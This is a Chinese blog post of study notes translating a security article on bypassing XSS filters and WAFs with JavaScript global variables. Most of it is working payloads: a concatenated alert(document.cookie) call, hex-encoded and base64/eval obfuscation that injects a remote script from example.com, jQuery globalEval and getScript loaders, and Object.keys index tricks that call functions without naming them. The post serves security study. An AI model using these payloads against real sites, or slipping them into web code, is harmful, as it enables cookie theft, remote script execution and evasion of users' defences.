Bypass XSS filters using JavaScript global variables
前言
很有意思的一篇文章,学到了一些姿势,以下仅作笔记
你所需要知道的
什么是js全局变量?
A JavaScript global variable is declared outside the function or declared with window object. It can be accessed from any function. https://www.javatpoint.com/javascript-global-variable
关于 “self” 对象
The Window.self read-only property returns the window itself, as a WindowProxy. It can be used with dot notation on a window object (that is, window.self) or standalone (self). The advantage of the standalone notation is that a similar notation exists for non-window contexts, such as in Web Workers. By using self, you can refer to the global scope in a way that will work not only in a window context (self will resolve to window.self) but also in a worker context (self will then resolve to WorkerGlobalScope.self). https://developer.mozilla.org/en-US/docs/Web/API/Window/self
与self
有类似功能的对象:
- window
- self
- _self
- this
- top
- parent
- frames
1.级联和hex编码方式
有很多的WAF使用的过滤器都是基于JS的函数的黑名单模式,大多数都包含了诸如alert()
或者String.fromCharCode()
。幸好我们有全局变量,所以我们可以轻松的bypass,例如:1
2
3
4
5/*
** alert(document.cookie);
*/
self["ale"+"rt"](self["doc"+"ument"]["coo"+"kie"])
稍复杂的绕过限制的方式是将字符串替换为以\x
格式编码的hex序列(ascii码低于256):1
2> console.log("\x68\x65\x6c\x6c\x6f\x2c\x20\x77\x6f\x72\x6c\x64\x21")
< hello, world!
我们可以将其替换我们想使用的任意函数
eval以及利用base64加密
对于过滤我们输入的WAF,其中一个困难的事情就是动态创建或添加一个调用远程js文件的script
元素。即使是一个功能不那么强大的过滤器,构建依然是困难的,因为这里有太多可识别的字符(<script
, src=
, http://
等等)
所以我们就可以利用base64和eval()
:1
2
3
4
5
6
7
8
9
10
11
12self["\x65\x76\x61\x6c"](//eval
self["\x61\x74\x6f\x62"](//atob
"dmFyIGhlYWQgPSBkb2N1bWVudC5nZXRFbGVtZW50\
c0J5VGFnTmFtZSgnaGVhZCcpLml0ZW0oMCk7dmFyI\
HNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbn\
QoJ3NjcmlwdCcpO3NjcmlwdC5zZXRBdHRyaWJ1dGU\
oJ3R5cGUnLCAndGV4dC9qYXZhc2NyaXB0Jyk7c2Ny\
aXB0LnNldEF0dHJpYnV0ZSgnc3JjJywgJ2h0dHA6L\
y9leGFtcGxlLmNvbS9teS5qcycpO2hlYWQuYXBwZW\
5kQ2hpbGQoc2NyaXB0KTs="
)
)
base64即是编码的如下代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14// select head tag
var head = document.getElementsByTagName('head').item(0);
// create an empty <script> element
var script = document.createElement('script');
// set the script element type attribute
script.setAttribute('type', 'text/javascript');
// set the script element src attribute
script.setAttribute('src','http://example.com/my.js');
// append it to the head element
head.appendChild(script);
3.jQuery
现在的网站大量利用了诸如jQuery的第三方库。当self["eval"]
和hex编码无法使用,于是我们可以利用如self["$"]["globalEval"]
PAYLOAD | ACTION |
---|---|
self["$"]["globalEval"]("alert(1)"); | pass |
self["\x24"]
["\x67\x6c\x6f\x62\x61\x6c\x45\x76\x61\x6c"]
("\x61\x6c\x65\x72\x74\x28\x31\x29"); | pass |
你可以轻易添加一个本地或远程脚本利用self["$"]["getScript"](url)
来进行加载,. getScript
以get
请求的方式从服务器加载一个js文件。该脚本在全局上下文中执行,因此它可以引用其他变量并使用jQuery函数。
PAYLOAD | ACTION |
---|---|
self["$"]["getScript"]("https://example.com/my.js"); |
pass |
4.Iteration and Object.keys
Object.keys()
以数组形式返回所给的对象所拥有的属性(property)名称,与正常循环相同的顺序。
这意味着我们可以通过使用索引号而不是函数名来访问任何JavaScript函数。例如,打开浏览器的Web控制台并键入:1
c=0; for(i in self) { if(i == "alert") { console.log(c); } c++; }
这为您提供了self对象中“alert”函数的索引号。每个浏览器和每个打开的文档(在我的示例中为5)的数字不同,但它可以使您无需使用其名称即可调用任何函数。例如:1
2
3> Object.keys(self)[5]
< "alert"
> self[Object.keys(self)[5]]("foo") // alert("foo")
为了迭代self
中的所有函数,你可以遍历self
对象并检查元素是否是使用typeof elm ===“function”
的函数:1
2
3
4
5
6
7f=""
for(i in self) {
if(typeof self[i] === "function") {
f += i+", "
}
};
console.log(f)
如前所述,这个数字可以在不同的浏览器和文档上更改,因此,如果不允许“alert”字符串并且不能使用上述任何方法,我们如何找到“alert”索引号?JavaScript为您提供了很多机会。我们可以做的一件事是为变量分配(a),一个迭代self
并找到alert
索引号的函数。然后,我们可以使用test()
来查找带有正则表达式的“alert”,如^ a [rel] + t $
:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17a = function() {
c=0; // index counter
for(i in self) {
if(/^a[rel]+t$/.test(i)) {
return c;
}
c++;
}
}
// in one line
a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}}
// then you can use a() with Object.keys
// alert("foo")
self[Object.keys(self)[a()]]("foo")
注:
test() 方法用于检测一个字符串是否匹配某个模式.
语法:
RegExpObject.test(string)返回值:
如果字符串 string 中含有与 RegExpObject 匹配的文本,则返回 true,否则返回 false。说明:
调用 RegExp 对象 r 的 test() 方法,并为它传递字符串 s,与这个表示式是等价的:(r.exec(s) != null)。
原文地址:
https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/
Author: damn1t
Link: http://microvorld.com/2019/06/19/vulnerable/Bypass XSS filters using JavaScript global variables/
Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.